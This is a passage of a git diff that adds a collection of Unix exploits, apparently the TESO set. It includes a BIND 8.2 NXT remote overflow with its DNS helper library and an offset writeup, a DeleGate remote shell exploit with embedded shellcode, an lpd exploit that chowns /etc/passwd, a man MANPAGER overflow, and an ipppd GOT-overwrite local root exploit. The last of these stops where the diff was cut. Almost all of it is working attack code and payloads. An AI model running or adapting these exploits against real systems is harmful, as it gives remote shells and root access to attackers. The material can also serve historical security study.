b/exploits/7350bindnxt/dnslib.c new file mode 100644 index 0000000..d1afb13 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.c @@ -0,0 +1,149 @@ +#include "dnslib.h" +#include +#include + +/* make a full dns query including header. Returns length of packet. + */ +int +makequery (char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id) +{ + HEADER *head; + + head = (HEADER *)buffer; + + bzero (head, DNSHDRSIZE); + head->id = htons (id); + head->qr = 0; + head->opcode = 0; + head->aa = 0; + head->tc = 0; + head->rd = 1; + head->ra = 0; + head->rcode = 0; + head->qdcount = htons (1); + head->ancount = 0; + head->nscount = 0; + head->arcount = 0; + + return (makeqbody (name, type, buffer + DNSHDRSIZE) + DNSHDRSIZE); +} + +/* convert a \0-terminated string to a DNS domain name. + * www.yahoo.com(.) => \003www\005yahoo\003\com\000 + */ +int +formatname (char *in, u_int8_t *out) +{ + char *start = in, c = 0; + int n = strlen (in); + + in += n - 1; + out += n + 1; + + *out-- = 0; + + n = 0; + while (in >= start) { + c = *in--; + if (c == '.') { + *out-- = n; + n = 0; + } else { + *out-- = c; + n++; + } + } + + if (n) + *out-- = n; + + return (strlen (out + 1) + 1); +} + +/* simple function for making a, ptr and ns resource records + * doesn't support more complicated stuph. + */ + +int +makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf) +{ + int n; + rrec_body *rec; + char *ptr = buf; + + /* name the resource record pertains too */ + ptr += formatname (name, ptr); + rec = (rrec_body *)ptr; + rec->type = htons (type); + rec->class = htons (class); + rec->ttl = htonl (ttl); + rec->rdlength = 0; + ptr += 10; + + switch (type) { + case T_A: + *(u_int32_t *)ptr = inet_addr (rdata); + rec->rdlength = htons (4); + ptr += 4; + break; + case T_PTR: + case T_NS: + n = formatname (rdata, ptr); + ptr += n; + rec->rdlength = htons (n); + break; + default: + /**/ + } + return (ptr - buf); +} + +/* make just the body of a DNS query. + */ +int +makeqbody (char *name, u_int16_t type, u_int8_t *buffer) +{ + int len; + + len = formatname (name, buffer); + buffer += len; + PUTSHORT (type, buffer); + PUTSHORT (C_IN, buffer); + return (len + 4); +} + + +/* uncompress compressed dns names. ugh. + * works for normal formatted dns names too.. + * returns the length of the first part of the compressed name (i.e. + * before redirection). + */ + +int +uncompress (u_int8_t *in, char *out, u_int8_t *msg) +{ + u_int8_t *start = in, *end = NULL; + u_int8_t len; + u_int16_t off; + + while ((len = *in++)) { + if (len & INDIR_MASK) { + if (end == NULL) + end = in + 1; + off = (len & ~INDIR_MASK); + off |= *in++ << 8; + off = ntohs (off); + in = msg + off; + continue; + } + memcpy (out, in, len); + out += len; + in += len; + *out++ = '.'; + } + if (end == NULL) + end = in; + *out++ = 0; + return (end - start); +} diff --git a/exploits/7350bindnxt/dnslib.h b/exploits/7350bindnxt/dnslib.h new file mode 100644 index 0000000..2beefe1 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.h @@ -0,0 +1,25 @@ +#ifndef DNSLIB_H +#define DNSLIB_H +#include +#include +#include +#include + +#define DNSHDRSIZE sizeof(HEADER) + +int makequery(char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id); +int makeqbody(char *name, u_int16_t type, u_int8_t *buffer); +int formatname(char *in, u_int8_t *out); +int uncompress(u_int8_t *in, char *out, u_int8_t *msg); + +typedef struct { + u_int16_t type; + u_int16_t class; + u_int32_t ttl; + u_int16_t rdlength; +} rrec_body; + +int makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf); + +#endif /* DNSLIB_H */ diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c new file mode 100644 index 0000000..090edb2 --- /dev/null +++ b/exploits/7350bindnxt/nxt.c @@ -0,0 +1,462 @@ +/* Preliminary exploit for named 8.2 on linux by z-. + * + * thx to horizon and jayenz. + * + * NB: u need to get the nameserver to query the exploit, something along + * the lines of: + * $ nslookup asdfasdf.urdomain.com victim.server.com + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "dnslib.h" +#include "code.h" + +#define DEBUG +#ifndef T_NXT +#define T_NXT 30 +#endif + +int connect_portshell (struct in_addr ip); +int run_shell (int fd); + +#define SLEEP 2 +#define CODE_PORT 17664 + +#define RET_CNT 16 /* number of times to repeat the return address */ +#define RET_POS 4133 /* distance till end of the buffer */ + +#define NOP 0x09 + +#define SA struct sockaddr + +typedef struct type { + char *name; + unsigned long ret; + int arch; +} type; + +type types[]= + { + {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386}, + {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */ + {NULL, 0, 0} + }; + +u_int type_cnt = (sizeof (types) / sizeof (type)) - 1, + victim_type = 0, + shellcode_type = PORTSHELL; + +char *ourdomain; + +void pfatal (char *s); +int resolv (char *hostname, struct in_addr *ip); +void usage (char *prog); + +/* actually make the egg to overflow the data[] buffer, including nops. + * returns length of egg. + */ +int +make_egg (char *ptr) +{ + u_int *ret_ptr; + c0de *c0de_ptr; + char *code; + int i, + codesize, + arch; + + + /* don't bother sanity checking here */ + + arch = types[victim_type].arch; + + c0de_ptr = archs[arch]; + + code = c0de_ptr[shellcode_type].code; + codesize = c0de_ptr[shellcode_type].codesize; + +#ifdef DEBUG + printf ("codesize = %d\n", codesize); +#endif + memset (ptr, NOP, RET_POS); + memcpy (ptr + RET_POS - codesize, code, codesize); + + /* risc alignment is evil ! */ + ret_ptr = (u_int *)(ptr + RET_POS); + for (i = 0; i < RET_CNT; i++) + *ret_ptr++ = types[victim_type].ret; + + return (RET_POS + 4 * RET_CNT); +} + +/* send exploit data to 'victim'. + * returns connected descriptor on succes + * returns -1 on error + */ +int +send_data (struct sockaddr_in *victim, char *buf, int len) +{ + struct sockaddr_in sin; + int fd; + u_short lennbo; + + fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) + return (-1); + + /* we need to bind to port 53 to appear as named */ + + bzero (&sin, sizeof (sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = htonl (INADDR_ANY); + sin.sin_port = htons (53); + + printf("Binding to local port 53...\n"); + if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) { + close (fd); + return (-1); + } + + victim->sin_port = htons (53); + + if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) { + close (fd); + return (-1); + } + + printf("Sending packet of length %d\n", len); + + lennbo = htons (len); + send (fd, &lennbo, sizeof(u_short), 0); + if (send (fd, buf, len, 0) < len) { + close (fd); + return (-1); + } + + return (fd); +} + +/* make the dns packet to exploit named and call send_data(). + * returns the result of send_data() + */ +int +send_exploit (u_char *buf, struct sockaddr_in *victim) +{ + u_char response[5120], + query[256], + tmp_str[100], + *ptr, *tmp; + u_short type; + HEADER *hdr; + + ptr = buf + DNSHDRSIZE; + ptr += uncompress (ptr, query, buf); + GETSHORT (type, ptr) + + printf("Query %s type %d\n", query, type); + + hdr = (HEADER *)response; + hdr->id = ((HEADER *)buf)->id; + hdr->qr = 1; /* answer */ + hdr->aa = 1; /* authoritative */ + hdr->qdcount = htons (1); + hdr->ancount = htons (1); + hdr->nscount = htons (0); + hdr->arcount = htons (1); + ptr = response + sizeof (HEADER); + + ptr += makeqbody (query, type, ptr); + + /* do the answer */ + switch (type) { + case T_A: + ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr); + break; + case T_PTR: + case T_NS: + sprintf (tmp_str, "rand0m.%s", ourdomain); + ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr); + break; + default: + printf("Krazy packetz\n"); + exit(-1); + } + + /* now do the overflow */ + /* first comes the query name again. + */ + ptr += formatname (query, ptr); + PUTSHORT (T_NXT, ptr); + PUTSHORT (C_IN, ptr); + PUTLONG (100000, ptr); + tmp = ptr; /* tmp points to rdlength */ + + /* now do rdata section. */ + ptr += 2; + /* first any domain u want, note the length affects the ret */ + ptr += formatname ("smiler", ptr); + /* then the arbitrary data */ + ptr += make_egg (ptr); + PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */ + + return (send_data (victim, response, ptr - response)); +} + +/* loop waiting for the query from 'victim'. + * returns the result of send_exploit() + */ +int +wait_for_connection (struct in_addr victim) +{ + struct sockaddr_in from; + u_char beef[512]; + int fd, + n, fromlen; + + fd = socket (AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + pfatal ("socket"); + + bzero (&from, sizeof(from)); + from.sin_addr.s_addr = htonl(INADDR_ANY); + from.sin_port = htons(53); + from.sin_family = AF_INET; + + if (bind (fd, (SA *)&from, sizeof(from)) < 0) + return (-1); + + printf ("Waiting for query packet from victim...\n"); + + for (;;) { + HEADER *ptr; + + fromlen = sizeof(from); + n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from, + &fromlen); + if (n <= 0) + return (-1); +#ifdef DEBUG + fprintf(stderr, "Packet from %s %d\n", inet_ntoa + (from.sin_addr), ntohs(from.sin_port)); +#endif + + if (from.sin_addr.s_addr != victim.s_addr) + continue; + +#ifndef DEBUG + fprintf (stderr, "Got packet from %s %d\n", + inet_ntoa (from.sin_addr), ntohs (from.sin_port)); +#endif + + ptr = (HEADER *)beef; + if (ptr->qr || !ptr->qdcount) + continue; + + close (fd); + return (send_exploit (beef, &from)); + break; + } + return (0); +} + +void +parse_opts (int argc, char **argv, struct in_addr *victim) +{ + char *argv0, + d; + int arch; + c0de *c0de_ptr; + + argv0 = strdup (argv[0]); + + while ((d = getopt (argc, argv, "s:t:")) != -1) { + switch (d) { + case 's': + shellcode_type = atol (optarg); + if (shellcode_type >= TYPE_MAX) { + fprintf (stderr, "shellcode out of range\n"); + exit (-1); + } + break; + case 't': + victim_type = atol (optarg); + if (victim_type >= type_cnt) { + fprintf (stderr, "No such type\n"); + exit (-1); + } + break; + } + } + + arch = types[victim_type].arch; + c0de_ptr = archs[arch]; + + if (c0de_ptr[shellcode_type].code == NULL) { + printf ("No %s for arch %s :(\n", + code_str[shellcode_type], archs_str[arch]); + exit (-1); + } + + argc -= optind; + argv += optind; + + if (argc < 2) + usage (argv0); + + if (!resolv (argv[0], victim)) { + herror ("resolv"); + exit (-1); + } + + ourdomain = strdup (argv[1]); + return; +} + +int +main (int argc, char **argv) +{ + struct in_addr victim; + int fd; + + puts ("NXT exploit by z-\n"); + + parse_opts (argc, argv, &victim); + + printf ("using type %d - %s\n", victim_type, types[victim_type].name); + printf ("exploit arch %s\n", archs_str[types[victim_type].arch]); + printf ("using %s\n", code_str[shellcode_type]); + + if ((fd = wait_for_connection (victim)) < 0) { + perror("ERROR"); + return (-1); + } + if (shellcode_type == PORTSHELL) { + close (fd); /* get rid of domain connection */ + printf("Sleeping for %d seconds\n", SLEEP); + sleep (SLEEP); + + /* and get the portshell connection */ + if ((fd = connect_portshell (victim)) < 0) { + perror ("connect_portshell"); + return (-1); + } + } + + if (run_shell (fd) < 0) { + perror ("connect_shell"); + return (-1); + } + + return (0); +} + +/* connects 'fd' to your term, effectively. + */ +int +run_shell (int fd) +{ + fd_set rset; + int n; + char buffer[4096]; + + send (fd, "/bin/uname -a\n", 14, 0); + + for (;;) { + FD_ZERO (&rset); + FD_SET (fd, &rset); + FD_SET (STDIN_FILENO, &rset); + + n = select (fd + 1, &rset, NULL, NULL, NULL); + if (n <= 0) + return (-1); + + if (FD_ISSET (fd, &rset)) { + n = recv (fd, buffer, sizeof (buffer), 0); + if (n <= 0) + break; + + write (STDOUT_FILENO, buffer, n); + } + + if (FD_ISSET (STDIN_FILENO, &rset)) { + n = read (STDIN_FILENO, buffer, sizeof (buffer)); + if (n <= 0) + break; + + send (fd, buffer, n, 0); + } + } + return (0); +} + +/* connect to the relevant high port. + */ +int +connect_portshell (struct in_addr ip) +{ + int fd; + struct sockaddr_in sin; + + printf ("Trying to connect to root shell...\n"); + + fd = socket (AF_INET, SOCK_STREAM, 0); + if (fd < 0) + return (-1); + + bzero (&sin, sizeof (sin)); + sin.sin_addr.s_addr = ip.s_addr; + sin.sin_port = htons (CODE_PORT); + sin.sin_family = AF_INET; + + if (connect (fd, (SA *)&sin, sizeof (sin)) < 0) + return (-1); + + return (fd); +} + +int +resolv (char *hostname, struct in_addr *ip) +{ + struct hostent *res; + + if (inet_aton (hostname, ip)) + return (1); + + res = gethostbyname (hostname); + if (res == NULL) + return (0); + + memcpy (ip, res->h_addr, sizeof (struct in_addr)); + return (1); +} + +void +usage (char *prog) +{ + type *ptr; + int ctr = 0; + + fprintf (stderr, "usage: %s [-t type] [-s shellcode type]\n", prog); + for (ptr = types; ptr->name; ptr += 1, ctr++) { + printf ("type %d: %s\n", ctr, ptr->name); + } + printf ("shellcode 0: portshell code\n"); + printf ("shellcode 1: peername code\n"); + exit(-1); +} + +void +pfatal (char *s) +{ + perror (s); + exit(-1); +} diff --git a/exploits/7350bindnxt/vulninfo b/exploits/7350bindnxt/vulninfo new file mode 100644 index 0000000..ce794e4 --- /dev/null +++ b/exploits/7350bindnxt/vulninfo @@ -0,0 +1,53 @@ +--here is the offending code + + n = dn_expand(msg, eom, cp, (char *)data, sizeof data); + if (n < 0) { + hp->rcode = FORMERR; + return (-1); + } + if (!ns_nameok((char *)data, class, NULL, response_trans, + domain_ctx, dname, from.sin_addr)) { + hp->rcode = FORMERR; + return (-1); + } + cp += n; + cp1 = data + strlen((char *)data) + 1; + memcpy(cp1, cp, dlen - n); + +-- + +This implys three things. + +firstly the format of the rdata section - it is important that u form this +correctly. in this case it is quite simple, a DNS domain name followed by +any arbitrary data :) Yes, even nulls ;) + +secondly the buffer will already contain the data from the DNS domain +name from the first part of the rdata section, and the arbitrary data +appends this data, hence u must take account of this when calculating the +ret distance. + +thirdly its just an ordinary stack overflow ('data' isn't declared +static), so it should be easy enough to exploit. + +the buffer in this case is of size MAXDATA*2 which, if u follow the macros, +evaluates to 4140 bytes. There are 12 other temporary variables in the +stack, each of size 4 bytes so, making no assumptions about how the +compiler decides to arrange them on the stack, u must send approx 14 +return addresses after the shellcode. note the buffer is fuqn huge so you +should have virtually no problems with the offset =) + +So if you use a DNS domain name of length 6 (e.g. \006smiler\000 =) +since it starts at 'data + strlen (data) + 1' then u need to put 4140 - 7 += 4133 bytes in the buffer to start overflowing and u need to follow that +with 14 ret addresses (56 bytes). In total that comes to 4190 bytes =) + +I haven't checked this out, but apparently u need to send this +data via tcp, because BIND refuses to read more than 512 bytes from a udp +packet, even if u fragment to allow it to be bigger than the MTU +(I managed to do this before, with an rpc call, to exploit rpc.mountd - +albeit only ~1100 bytes). + + +-smiler + diff --git a/exploits/7350delefate/delefate.c b/exploits/7350delefate/delefate.c new file mode 100644 index 0000000..716d155 --- /dev/null +++ b/exploits/7350delefate/delefate.c @@ -0,0 +1,325 @@ +/* delefate.c + * delegate 5.9.x - 6.0.x remote exploit + * + * public + * + * will open a shell with the privileges of the nobody user. + * + * 1999/13/11 by scut of teso [http://teso.scene.at/] + * + * word to whole team teso, ADM, w00w00, beavuh and stealth :). + * special thanks to xdr for donating a bit of his elite debugging skillz. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define XP_OFFSET 0xbfffe074 /* offset */ +unsigned long int xp_off = XP_OFFSET; + +/* you don't have to modify this :) i hope :) + */ +#define XP_NETWORK_FD 12 +#define XP_NETWORK_OFFSET 0x00000101 /* fixed relative network socket offset */ +#define XP_SHELLCODE_OFFSET 0x00000104 /* fixed relative retaddr offset */ +#define XP_DIFF 0x0000000e /* 14 bytes after XP_OFFSET starts the shellcode */ + +#define XP_SH2_FD1 0x00000011 +#define XP_SH2_FD2 0x0000001d +#define XP_SH2_FD3 0x0000002a + + +#define GREEN "\E[32m" +#define BOLD "\E[1m" +#define NORMAL "\E[m" +#define RED "\E[31m" + +/* local functions + */ +void usage (void); +void shell (int socket); +unsigned long int net_resolve (char *host); +int net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec); + + +/* because the buffer is rather small (256 bytes), we use a minimalistic + * read() shellcode to increase the chances to hit a correct offet + */ +unsigned char shellcode1[] = + "\x77\x68\x6f\x69\x73\x3a\x2f\x2f\x61\x20\x62\x20\x31\x20\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90" + + /* 30 byte read() shellcode by scut */ + "\x33\xd2\x33\xc0\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x80\xc2" + "\x10\x03\xca\xc1\xc2\x04\xb0\x03\x33\xdb\xb3\x0c\xcd\x80" + /* ^^ network fd */ + "\x82\xe0\xff\xbf" /* return address */ + + "\x0d\x0a"; + + +/* uid+chroot-break+shell shellcode by lamerz, thanks ! + * slightly modified by scut to take care of the network socket + */ +unsigned char shellcode2[]= + "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x89\xd9" + "\xb3\x0c\xb0\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\xb0" + "\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\x41\xb0\x3f\xcd" + "\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e" + "\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27" + "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" + "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c" + "\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d" + "\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07" + "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b" + "\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30" + "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; + + +void +usage (void) +{ + printf (GREEN BOLD "delefate - delegate 5.9.x, 6.0.x remote" NORMAL "\n" + "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n" + + "usage.... : ./delefate [offset-add]\n" + "example.. : ./delefate localhost 8080 -100\n\n" + "for brute forcing, try from -2000 to 500 in steps of 200\n\n"); + + exit (EXIT_FAILURE); +} + +int +main (int argc, char **argv) +{ + int socket; + char *server; + struct sockaddr_in sa; + unsigned short int port_dest; + unsigned char *retaddr_ptr; + unsigned long int offset; + unsigned char *stack = NULL; + + if (argc < 3) + usage (); + + printf (GREEN BOLD "delefate 5.9.x - 6.0.x remote exploit" NORMAL "\n" + "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n"); + + if (argc == 4) { + long int xp_add = 0; + + if (sscanf (argv[3], "%ld", &xp_add) != 1) { + usage (); + } + xp_off += xp_add; + } + printf (" " GREEN "-" NORMAL " using offset 0x%08x\n", xp_off); + + server = argv[1]; + port_dest = atoi (argv[2]); + + /* do the offset + */ + retaddr_ptr = shellcode1 + XP_SHELLCODE_OFFSET; + offset = xp_off + XP_DIFF; + *retaddr_ptr = (offset & 0x000000ff) >> 0; + *(retaddr_ptr + 1) = (offset & 0x0000ff00) >> 8; + *(retaddr_ptr + 2) = (offset & 0x00ff0000) >> 16; + *(retaddr_ptr + 3) = (offset & 0xff000000) >> 24; + *(shellcode1 + XP_NETWORK_OFFSET) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD1) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD2) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD3) = (unsigned char) XP_NETWORK_FD; + + printf (" " GREEN "-" NORMAL " connecting to " GREEN "%s:%hu" NORMAL "...", server, port_dest); + fflush (stdout); + + socket = net_connect (&sa, server, port_dest, 45); + if (socket <= 0) { + printf (" " RED BOLD "failed" NORMAL ".\n"); + perror ("net_connect"); + exit (EXIT_FAILURE); + } + printf (" " GREEN BOLD "connected." NORMAL "\n"); + + /* send minimalistic read() shellcode */ + printf (" " GREEN "-" NORMAL " sending first shellcode...\n"); + write (socket, shellcode1, strlen (shellcode1)); + sleep (1); + + /* now send the real shellcode :-) */ + printf (" " GREEN "-" NORMAL " sending second shellcode...\n"); + write (socket, shellcode2, strlen (shellcode2)); + + printf (" " GREEN "-" NORMAL " spawning shell...\n\n"); + shell (socket); + close (socket); + + + exit (EXIT_SUCCESS); +} + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr (host); + if (i == -1) { + he = gethostbyname (host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + + return (i); +} + + +/* original version by typo, modified by scut + */ + +void +shell (int socket) +{ + char io_buf[1024]; + int n; + fd_set fds; + + while (1) { + FD_SET (0, &fds); + FD_SET (socket, &fds); + + select (socket + 1, &fds, NULL, NULL, NULL); + if (FD_ISSET (0, &fds)) { + n = read (0, io_buf, sizeof (io_buf)); + if (n <= 0) + return; + write (socket, io_buf, n); + } + + if (FD_ISSET (socket, &fds)) { + n = read (socket, io_buf, sizeof (io_buf)); + if (n <= 0) + return; + write (1, io_buf, n); + } + } +} + + +int +net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec) +{ + int n, len, error, flags; + int fd; + struct timeval tv; + fd_set rset, wset; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + cs->sin_addr.s_addr = net_resolve (server); + if (cs->sin_addr.s_addr == 0) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + + return (fd); +} + diff --git a/exploits/7350lapsus/7350lapsus.pl b/exploits/7350lapsus/7350lapsus.pl new file mode 100644 index 0000000..cad1ae0 --- /dev/null +++ b/exploits/7350lapsus/7350lapsus.pl @@ -0,0 +1,65 @@ +#!/usr/bin/perl -w + +# 7350lapsus +# +# lpr-3.0.48 Local root exploit. +# requires root on a host counted in +# hosts.lpd and local account on lpd box. +# This is proof of concept, chown()ing /etc/passwd +# to a user named 'stealth'. +# +# (C) COPYRIGHT TESO Security, 2001 +# All Rights Reserved +# +# May be used under the terms of the GPL. +# + +use IO::Socket; + +sub recvack +{ + my $ack; + $_[0]->recv($ack, 1); + if ($ack ne "\0") { + print "Some ACK-error occured.\n"; + exit; + } +} + +$rem = shift; +if (!defined($rem)) { + print "$0 \n"; exit; +} + +# Open connection +for ($i = 721; $i <= 731 && !defined $peer; ++$i) { + $peer = IO::Socket::INET->new(PeerAddr => $rem, + PeerPort => 515, + LocalPort => $i, + Proto => "tcp", + Type => SOCK_STREAM); +} + +die "$!" if (!defined($peer)); + +print "Bound to port $i\n"; + +print $peer "\2lp\n"; +recvack($peer); + +$payload = "Pstealth\na/etc/passwd\n"; +$l = length($payload); + +# First bug in lpd: allows to create files in / +# with length up to 5 chars +print $peer "\x02$l /foo\n"; +recvack($peer); + +# This one is incredible. it trusts controlfiles +# input to chown ANY file on system to user. +print $peer $payload; +print $peer "\0"; +recvack($peer); + +close $peer; + diff --git a/exploits/7350man/7350man.c b/exploits/7350man/7350man.c new file mode 100644 index 0000000..eaa0377 --- /dev/null +++ b/exploits/7350man/7350man.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include + +#define OFFSET 0xbfffb32e +#define LEN 4061 + +#define GID "15" /* man::15: on rh6.1 */ + +unsigned char shellcode[] = +"\x31\xc0\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\xb0\x47\xcd\x80\xeb\x1e" +"\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53" +"\x0c\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff" +"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x74\x65\x73\x6f\x63\x72\x65\x77\x21" +"\x21"; + +/* man sploit by typo/teso (typo@inferno.tusculum.edu) */ +int main(int argc, char *argv[]) +{ + int offset = argc > 1 ? atoi(argv[1]) + OFFSET : OFFSET; + int eob = argc > 2 ? atoi(argv[2]) : LEN; + char *buffer; + + printf("eob = %d, offset = 0x%x\n", eob, offset); + buffer = malloc(eob+8); + + memset(buffer, 0x90, eob); + memcpy(buffer + eob - strlen(shellcode) - 8, shellcode, strlen(shellcode)); + memcpy(buffer + eob - 4, &offset, 4); + buffer[eob] = '\0'; + + setenv("MANPAGER", buffer, 1); + execlp("man", "man", "man", NULL); +} + diff --git a/exploits/7350pippi/7350pippi.pl b/exploits/7350pippi/7350pippi.pl new file mode 100644 index 0000000..ec8f142 --- /dev/null +++ b/exploits/7350pippi/7350pippi.pl @@ -0,0 +1,97 @@ +#!/usr/bin/perl + +# 7350pippi - x86/Linux ipppd local root +# +# (C) COPYRIGHT TESO Security, 2002 +# All Rights Reserved +# +# May be used under the terms of the GPL. + +# ipppd local root exploit: +# ... +# /* +# * Check if there is a device by this name. +# */ +# if (stat(cp, &statbuf) < 0) { +# if (errno == ENOENT) +# return 0; +# syslog(LOG_ERR, cp); +# return -1; +# } +# ... +# +# This exploit changes the address of syslog in ipppd's +# GOT. Since it returns -1 as seen above, ipppd will invoke +# syslog() a second time soon this time using the address +# given by us. We redirect the GOT entry to a stacklocation +# where the filename of the executed program is normally +# located. Since we symlink() the shellcode to /usr/sbin/ipppd +# the shellcode goes on the stack AT A FIXED ADDRESS! Thus +# we avoid ugly offsets and guessing/bruteforce. +# If porting this exploits to other systems, you +# need to find syslogs() GOT entry yourself. +# + +use Fcntl; + +# chown()+chmod() /tmp/boomsh +$shellcode = "\x90"x100 . +"\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb". +"\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31". +"\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80". +"\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd". +"\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f". +"\x6d\x73\x68\x2e"; + +unlink("/tmp/$shellcode"); +symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!"; + +# my syslog GOT entry @ 0x806c90c + +sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!"; +print O<<_EOF_; +#include +int main() +{ + char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL}; + + setuid(0); + execve(*a, a, NULL); + return -1; +} +_EOF_ +close O; + +print "Compiling boomshell ...\n"; +system("cc /tmp/boomsh.c -o /tmp/boomsh"); + +$dir = "/tmp/L"; +mkdir($dir); + +$ret = 0xbffffffb - length($shellcode)+20; +printf("Filename is located @ %x\n", $ret); + + +# maybe need to change to your GOT entry +# of syslog(); see above +$file = "XX" . pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT + pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1 + 